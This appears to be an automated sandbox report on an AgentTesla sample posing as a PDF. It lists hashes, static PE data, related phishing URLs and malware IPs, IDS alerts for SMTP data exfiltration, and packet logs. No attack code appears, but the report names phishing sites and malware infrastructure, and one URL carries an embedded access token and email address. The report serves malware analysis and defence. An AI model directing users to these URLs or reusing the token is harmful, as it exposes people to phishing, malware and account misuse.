	INV 0983 OSY 240524_PDF.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://attachments.office.net/owa/cmangava%40tharisa.com/service.svc/s/GetAttachmentThumbnail?id=AAMkAGE2N2U5NmFkLWIzMjEtNGMwNS1iOWVlLWExNTBkNDk2NTZjMABGAAAAAAAsNFCwuPDISrln6MRbSR5lBwBC4JDOFd8jTJozG%2BNc7YRrAAAAmcUBAABu3YNoqzF8SLI68HoWeAXzAAFRD3sAAAABEgAQAOXLRvcdfU5Kkg7Zx598XsI%3D&thumbnailType=2&token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkU1RDJGMEY4REE5M0I2NzA5QzQzQTlFOEE2MTQzQzAzRDYyRjlBODAiLCJ0eXAiOiJKV1QiLCJ4NXQiOiI1ZEx3LU5xVHRuQ2NRNm5vcGhROEE5WXZtb0EifQ.eyJvcmlnaW4iOiJodHRwczovL291dGxvb2sub2ZmaWNlLmNvbSIsInVjIjoiNTIyZjRhMmM0ZWRmNDA4NjkxMWIwMGFjYzE2ZjgzNzEiLCJzaWduaW5fc3RhdGUiOlsiZHZjX21uZ2QiLCJkdmNfY21wIiwiZHZjX2RtamQiLCJpbmtub3dubnR3ayJdLCJ2ZXIiOiJFeGNoYW5nZS5DYWxsYmFjay5WMSIsImFwcGN0eHNlbmRlciI6Ik93YURvd25sb2FkQDliMDgyOWI5LWJlMzktNDMzNi1hNzY2LWY4YzlkYzJjNzFhNCIsImlzc3JpbmciOiJXVyIsImFwcGN0eCI6IntcIm1zZXhjaHByb3RcIjpcIm93YVwiLFwicHVpZFwiOlwiMTE1MzkwNjY2MTMxNDQwNDI4NFwiLFwic2NvcGVcIjpcIk93YURvd25sb2FkXCIsXCJvaWRcIjpcIjUyMjAyODA5LWJkODUtNGZmOC04NTUwLTRjNzUwZjNhODNlZFwiLFwicHJpbWFyeXNpZFwiOlwiUy0xLTUtMjEtMTAxMjEyODM0Ni0xNjc3NDQzNDQtMTE3Njg1Mjg2MS0xMzc4MTQ4OVwifSIsIm5iZiI6MTcxNjc5NjM3MCwiZXhwIjoxNzE2Nzk2NjcwLCJpc3MiOiIwMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOWIwODI5YjktYmUzOS00MzM2LWE3NjYtZjhjOWRjMmM3MWE0IiwiYXVkIjoiMDAwMDAwMDItMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL2F0dGFjaG1lbnRzLm9mZmljZS5uZXRAOWIwODI5YjktYmUzOS00MzM2LWE3NjYtZjhjOWRjMmM3MWE0IiwiaGFwcCI6Im93YSJ9.QgmzIBWvZG6gLwDV2SGPl9TdStXctQrpU_xiIGcL5I4eoVDkUPzqcKcrSAnwOD_E73nNMbCTWC-kgcJIIFGhLmh8iFWITRD5MwmaJN23JV7c8rlmzHlxnoqm8tPo98Soui3XZZYSaJZVTruXDBhUCiweHA69qYSoZDJxVUYZDvl5KvXMWJkA_ui0Vq1Sw7pPL5h9t4_QlGAarVBz6O9q21EGSBoX_hWPpcaEGJwoBDVeI-G6VvbkXzy9bJEMEZ6N-WzLyQtuKS9HVJBafIkUxsf0pIhhnJUluyukhnQ1dZohnpQr8e5v0Xoa3SObMFt_C5SeZHG2hFyxqFdeBhKQ_w&X-OWA-CANARY=X-OWA-CANARY_cookie_is_null_or_empty&owa=outlook.office.com&scriptVer=20240517003.15&clientId=1A63CAED249649AEBB5264A13128C2B5&animation=true&persistenceId=80cb7b14-7011-42b1-acde-250d928510f9	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	PO_27052024.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Remittance#26856.html	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	https://interface01.nsxtlmv.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	http://christiantensen478345.pages.dev/help/contact/45367900411236/	Get hash	malicious	Unknown	Browse	172.67.74.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
EAMES	https://videtisconsultores.es/vd/app/index.php?userid=51b3320606c0285b7c651ce635c6e0a2&ue=cea982ec6f8953c3f07608cc9ce0b3ab	Get hash	malicious	Unknown	Browse	185.5.124.46
	https://precisiononcologyclinic.com/wp-includes/fonts/	Get hash	malicious	Unknown	Browse	185.5.125.5
	https://bodegasberamendi.com/wp-includes/fonts/?username=Y2hyaXN0Y2h1cmNoQHJ1bmFjcmVzLmNvLm56	Get hash	malicious	HTMLPhisher	Browse	185.5.125.5
	https://bodegasberamendi.com/wp-includes/fonts/	Get hash	malicious	HTMLPhisher	Browse	185.5.125.5
	file.exe	Get hash	malicious	Djvu, Fabookie, Glupteba, RedLine, SmokeLoader	Browse	185.5.125.7
	file.exe	Get hash	malicious	Djvu, Fabookie, Glupteba, RedLine, SmokeLoader	Browse	185.5.125.7
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Fabookie, Glupteba, RedLine, SmokeLoader	Browse	185.5.125.7
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Fabookie, RedLine, SmokeLoader, Vidar	Browse	185.5.125.7
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Fabookie, RedLine, SmokeLoader, Vidar	Browse	185.5.125.7
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Fabookie, RedLine, SmokeLoader, Vidar	Browse	185.5.125.7
CLOUDFLARENETUS	Stamp invoice copy.xls.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Tenuto.exe	Get hash	malicious	FormBook, GuLoader, LummaC Stealer	Browse	104.21.3.197
	Curriculum Vitae Catalina Munoz.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	GestorRemesasCONFIRMIMING.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	inquiry EBS# 82785.exe	Get hash	malicious	FormBook	Browse	104.21.81.34
	DRAWING_SHEET_P02405912916 .exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	PAYMENT COPY.exe	Get hash	malicious	FormBook	Browse	172.67.137.210
	Shipping Document.exe	Get hash	malicious	FormBook	Browse	172.67.190.203
	NUEVA ORDEN DE COMPRAsxlx..exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	PAYMENT ADVICE.exe	Get hash	malicious	FormBook	Browse	172.67.190.203

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Stamp invoice copy.xls.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	GestorRemesasCONFIRMIMING.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	DRAWING_SHEET_P02405912916 .exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	NUEVA ORDEN DE COMPRAsxlx..exe	Get hash	malicious	Snake Keylogger	Browse	104.26.13.205
	proforma invoice.bit.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	INV 0983 OSY 240524_PDF.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	PO_27052024.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	01vwXiyQ8K.exe	Get hash	malicious	Quasar	Browse	104.26.13.205
	xA4LQYIndy.exe	Get hash	malicious	DCRat	Browse	104.26.13.205
	https://kruekanlogin.gitbook.io/	Get hash	malicious	Unknown	Browse	104.26.13.205

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_0000003448.pdf.e_e15196a8f0eb2511ce4747ffb907bdc14423242_a04c5d31_4c6ecd60-570c-451f-8116-ae129e58bb7d\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0198098458470897
Encrypted:	false
SSDEEP:	192:4g8tE2MZi0VeWpZaWBH+Dz/zuiFkZ24lO8W:98tlMnVBpZamH+fzuiFkY4lO8W
MD5:	73A4AE09B2BEBC753A7B03C443813D20
SHA1:	A7B88A1E82CF17F6302C54DEB083CA9396B6B9A0
SHA-256:	84F477E8B4A9A598866856CB13CF4FD0E9AD4FA91079AFE24D27546A8604EF88
SHA-512:	61AAE3D04B090037A3CABABDA2D878C4CFB5D49705B84CF4978EB3BE5626E26E98BD21DB924AE613F2D55850B46B239D76CDA93B4EA60D3D088239D407DED3FD
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.1.2.8.0.1.6.6.0.0.6.0.4.0.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.1.2.8.0.1.6.6.6.9.3.5.4.5.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.c.6.e.c.d.6.0.-.5.7.0.c.-.4.5.1.f.-.8.1.1.6.-.a.e.1.2.9.e.5.8.b.b.7.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.b.7.b.3.e.c.0.-.6.4.0.f.-.4.6.a.2.-.a.b.3.2.-.c.2.9.7.5.d.6.5.6.b.c.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.0.0.0.0.0.0.3.4.4.8...p.d.f...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.A.z.u.j.o.w.a.r.o.p.u.k.o.g.a.z.o.f.u.h.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.9.d.8.-.0.0.0.1.-.0.0.1.4.-.2.4.0.3.-.3.3.9.9.2.2.b.0.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.9.0.f.d.c.2.0.6.c.0.8.7.d.c.2.f.8.5.9.9.7.1.6.a.1.b.7.2.6.8.2.0.0.0.0.0.0.0.0.!.0.0.0.0.5.0.2.2.b.6.1.4.e.9.c.8.c.e.0.f.3.8.a.d.a.8.6.7.f.1.f.d.1.e.2.4.3.c.f.0.f.4.6.4.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER97AA.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Mon May 27 10:42:46 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	414107
Entropy (8bit):	3.4584447042236355
Encrypted:	false
SSDEEP:	3072:3BkpqR1TCb83Gp78fgbllmk1CCqBN3+vC54WcSydakekuS6C:xpR0b83hP6qj3QU9Hke9L
MD5:	6BFF05CC161DB930674A268760F9229D
SHA1:	1D4D9AE7DE5EC187EFA0193484A22DE025623A8F
SHA-256:	A2DACC70BB6D93F6522F92B45F482978F03383F9AF18832B821C9585D78EACC6
SHA-512:	0178DCEF8DB4E0CEB4E0E48A9838D21DFD2C5B8621B1CDF5B3CD42E4BEFD7D4D136055FF73F17F5175E42F52646720F91E568395C50DDEBBF17D92071D2877C8
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........cTf........................D...........$............3..<........k..............l.......8...........T............*...'..........4Q.......... S..............................................................................eJ.......S......Lw......................T............cTf.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9922.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8642
Entropy (8bit):	3.706073733683866
Encrypted:	false
SSDEEP:	192:R6l7wVeJrew6YN5YgDwgmfZq0o4tpr+89bLrYf56Zm:R6lXJiw6YzYTgmfQ2Lkf5t
MD5:	6EE1E0298F090ADFB40F0AD74C468A29
SHA1:	9D443290A4D8A0CBA59B114D545565D80F4BE523
SHA-256:	CCB2542050F673A3789964458FE6B46D98150BDDD6F38F091B88465254176634
SHA-512:	7E190AE37A64AA96679F7723F5662DF3492DA0110C6B8EBB8EF11AB832C3E7CAC97D5CBB7DCD75F92880D97BA7F7B12784C53D88CF2510B6FF028D0B8FB9A591
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.5.2.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9962.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4845
Entropy (8bit):	4.509630885267698
Encrypted:	false
SSDEEP:	48:cvIwWl8zsuJg771I9FqWpW8VYDzYm8M4JgIuDE6F2NHoyq8v1DEGn55mgLgxEd:uIjfkI76L7VGmJZIWCGn3P0xEd
MD5:	C922A7DCF4F0E03E8DD01CFA05C098F5
SHA1:	6764B2AE324411DEF602478F56322F1D76D9013E
SHA-256:	C436FA7E5C0DF9115731DFCAF4B1DDBBC5B66C0C7E521DB9A87BC09E274E38F2
SHA-512:	4EB1B506E143596535A570B50D05D64329D7969FEE71D22C314D7D88EDC94260F62DF632CD94D047B4B4EE61AD60E77B99FCB7486CFFCF27590429EB7F57A98A
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="341385" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.417257848781037
Encrypted:	false
SSDEEP:	6144:ecifpi6ceLPL9skLmb0mvSWSPtaJG8nAgex285i2MMhA20X4WABlGuNB5+:ri58vSWIZBk2MM6AFBHo
MD5:	304BA56783E100F4065F10452838B2DF
SHA1:	21A64B5C23C28324204E5DEB708C1F33E4C7829B
SHA-256:	42C2DA9EDFBF81E40F9DFBD458AD551F820DC68AA41823120ED43B2E182217CE
SHA-512:	1F5798CD1F119D81A484AA5C0ECEB9FFF7F9309BDBAF0D8E3E41C21FA0A96DB4FEC4F9E7387BF66D6AFEF47D32F603D14A4DA58C26FA98AADE2A449363B0A0DF
Malicious:	false
Reputation:	low
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmZ)L."................................................................................................................................................................................................................................................................................................................................................cZ.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.968797103315413
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	0000003448.pdf.exe
File size:	635'401 bytes
MD5:	bb8bbd61f7f45c48819489caa8bb627b
SHA1:	5022b614e9c8ce0f38ada867f1fd1e243cf0f464
SHA256:	1ddfb4b7cc2fa9dc2883c942bab409ab6be7c6efa494495e6c6c3438e86ee0c4
SHA512:	00f7d1e67a6400f6acc5fb8f228b0506dd2b8eb3d93c9b13beffee20d9a236cfebaaca27a1cc1d91b1c03e9d920da42702d8aebac0e40a8e8b80a7de1cc724c3
SSDEEP:	12288:RMxSUX4pZeTHJI4RfJfvZT2RXt5Ehizw8GGcFSm1XVfE9frqw9h:RNUX4pMHJI4LJ2RXt5SGZm/fYjqSh
TLSH:	EDD4235587AC702FE4A9917F25B242C07127BBA083D6CF1B6599C216458B48DBEF3F2C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...a............."...0.................. ....@...... ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xD4FC1361 [Fri Mar 26 12:30:25 2083 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe000	0x9cc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0xc594	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xa5b0	0xa600	f0dc2bda304bbced4487440e7335ed0b	False	0.5695359563253012	data	6.142609682687778	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xe000	0x9cc	0xa00	0c24b8dbdcbc1b75f30e3d5484ccc824	False	0.31015625	data	4.174675342072382	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xe0b8	0x394	OpenPGP Secret Key			0.47925764192139736
RT_VERSION	0xe44c	0x394	OpenPGP Secret Key	English	United States	0.48034934497816595
RT_MANIFEST	0xe7e0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/27/24-12:44:22.157402	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49725	587	192.168.2.7	185.5.126.24
05/27/24-12:46:08.025068	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49738	587	192.168.2.7	185.5.126.24
05/27/24-12:45:37.161704	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49733	587	192.168.2.7	185.5.126.24
05/27/24-12:44:22.157639	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49725	587	192.168.2.7	185.5.126.24
05/27/24-12:44:42.668719	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49727	587	192.168.2.7	185.5.126.24
05/27/24-12:46:31.688888	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49742	587	192.168.2.7	185.5.126.24
05/27/24-12:44:55.795795	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49729	587	192.168.2.7	185.5.126.24
05/27/24-12:45:16.705440	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49731	587	192.168.2.7	185.5.126.24
05/27/24-12:44:55.795719	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49729	587	192.168.2.7	185.5.126.24
05/27/24-12:45:54.742319	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49734	587	192.168.2.7	185.5.126.24
05/27/24-12:46:00.201807	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49736	587	192.168.2.7	185.5.126.24
05/27/24-12:46:31.689008	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49742	587	192.168.2.7	185.5.126.24
05/27/24-12:45:57.901261	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49735	587	192.168.2.7	185.5.126.24
05/27/24-12:45:20.020246	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49732	587	192.168.2.7	185.5.126.24
05/27/24-12:46:20.221164	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49739	587	192.168.2.7	185.5.126.24
05/27/24-12:46:38.864550	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49745	587	192.168.2.7	185.5.126.24
05/27/24-12:42:50.789472	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49705	587	192.168.2.7	185.5.126.24
05/27/24-12:46:44.109102	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49747	587	192.168.2.7	185.5.126.24
05/27/24-12:45:54.742415	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49734	587	192.168.2.7	185.5.126.24
05/27/24-12:45:06.675548	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49730	587	192.168.2.7	185.5.126.24
05/27/24-12:45:20.020379	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49732	587	192.168.2.7	185.5.126.24
05/27/24-12:46:20.217198	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49739	587	192.168.2.7	185.5.126.24
05/27/24-12:44:34.585781	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49726	587	192.168.2.7	185.5.126.24
05/27/24-12:44:34.585685	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49726	587	192.168.2.7	185.5.126.24
05/27/24-12:44:52.832074	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49728	587	192.168.2.7	185.5.126.24
05/27/24-12:46:38.864599	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49745	587	192.168.2.7	185.5.126.24
05/27/24-12:46:34.162938	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49743	587	192.168.2.7	185.5.126.24
05/27/24-12:45:06.675669	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49730	587	192.168.2.7	185.5.126.24
05/27/24-12:46:34.163028	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49743	587	192.168.2.7	185.5.126.24
05/27/24-12:44:52.831964	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49728	587	192.168.2.7	185.5.126.24
05/27/24-12:46:44.109041	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49747	587	192.168.2.7	185.5.126.24
05/27/24-12:45:57.901482	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49735	587	192.168.2.7	185.5.126.24
05/27/24-12:46:00.201685	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49736	587	192.168.2.7	185.5.126.24
05/27/24-12:46:08.025194	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49738	587	192.168.2.7	185.5.126.24
05/27/24-12:45:37.161595	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49733	587	192.168.2.7	185.5.126.24
05/27/24-12:45:16.705240	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49731	587	192.168.2.7	185.5.126.24
05/27/24-12:44:42.668752	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49727	587	192.168.2.7	185.5.126.24

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 27, 2024 12:42:46.480793953 CEST	49703	443	192.168.2.7	104.26.13.205
May 27, 2024 12:42:46.480829000 CEST	443	49703	104.26.13.205	192.168.2.7
May 27, 2024 12:42:46.480988979 CEST	49703	443	192.168.2.7	104.26.13.205
May 27, 2024 12:42:46.487968922 CEST	49703	443	192.168.2.7	104.26.13.205
May 27, 2024 12:42:46.487987995 CEST	443	49703	104.26.13.205	192.168.2.7
May 27, 2024 12:42:46.992341995 CEST	443	49703	104.26.13.205	192.168.2.7
May 27, 2024 12:42:46.992455959 CEST	49703	443	192.168.2.7	104.26.13.205
May 27, 2024 12:42:46.995059013 CEST	49703	443	192.168.2.7	104.26.13.205
May 27, 2024 12:42:46.995066881 CEST	443	49703	104.26.13.205	192.168.2.7
May 27, 2024 12:42:46.995359898 CEST	443	49703	104.26.13.205	192.168.2.7
May 27, 2024 12:42:47.038964987 CEST	49703	443	192.168.2.7	104.26.13.205
May 27, 2024 12:42:47.156991005 CEST	49703	443	192.168.2.7	104.26.13.205
May 27, 2024 12:42:47.198543072 CEST	443	49703	104.26.13.205	192.168.2.7
May 27, 2024 12:42:47.334158897 CEST	443	49703	104.26.13.205	192.168.2.7
May 27, 2024 12:42:47.334335089 CEST	443	49703	104.26.13.205	192.168.2.7
May 27, 2024 12:42:47.334399939 CEST	49703	443	192.168.2.7	104.26.13.205
May 27, 2024 12:42:47.340352058 CEST	49703	443	192.168.2.7	104.26.13.205
May 27, 2024 12:42:48.471859932 CEST	49705	587	192.168.2.7	185.5.126.24
May 27, 2024 12:42:48.476788998 CEST	587	49705	185.5.126.24	192.168.2.7
May 27, 2024 12:42:48.476859093 CEST	49705	587	192.168.2.7	185.5.126.24
May 27, 2024 12:42:49.492278099 CEST	587	49705	185.5.126.24	192.168.2.7
May 27, 2024 12:42:49.492532969 CEST	49705	587	192.168.2.7	185.5.126.24
May 27, 2024 12:42:49.497416973 CEST	587	49705	185.5.126.24	192.168.2.7
May 27, 2024 12:42:49.689476013 CEST	587	49705	185.5.126.24	192.168.2.7
